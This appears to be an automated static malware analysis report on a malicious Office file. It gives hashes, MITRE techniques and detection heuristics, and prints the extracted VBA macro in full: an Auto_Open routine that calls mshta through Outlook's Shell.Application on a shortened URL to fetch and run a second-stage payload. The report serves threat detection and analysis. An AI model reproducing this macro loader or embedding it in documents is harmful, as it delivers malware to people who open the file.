Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b04670efb7c338de…

MALICIOUS

Office (OOXML)

8.6 KB First seen: 2021-09-17
MD5: 37792b750168e07f9c3231acfaa1bfc3 SHA-1: 539831af1a5e82d4c0977483e288df52b83c1350 SHA-256: b04670efb7c338de213fa2cc4f6dd270f92d6eec262fa977d7fb6a5de1596cd1
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1059.001 PowerShell

The sample contains a VBA macro with an Auto_Open subroutine that executes 'mshta' via ShellExecute. The macro constructs a URL from concatenated strings, which resolves to 'https://www.bitly.com/syuiahsjkabshmagh'. This suggests the macro is designed to download and execute a second-stage payload from the provided URL, a common technique for malware delivery.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/syuiahsjkabshmagh In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1325 bytes
SHA-256: 3e2d25bdec5ee7deae03bf122e2b4dca868d993a1dac5a6b03b0a9d7e12472c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function lol()

lol = "mshta"
End Function

Attribute VB_Name = "Module1"
Sub Auto_Open()


Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha
End _
Sub





Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function microsoft()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function hahaha()

hahaha = "https://www.bitly.com/syuiahsjkabshmagh"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 20480 bytes
SHA-256: abe147fa029f0fea14f2e6a02add922570ca66425db21d631006cd089c1faaa4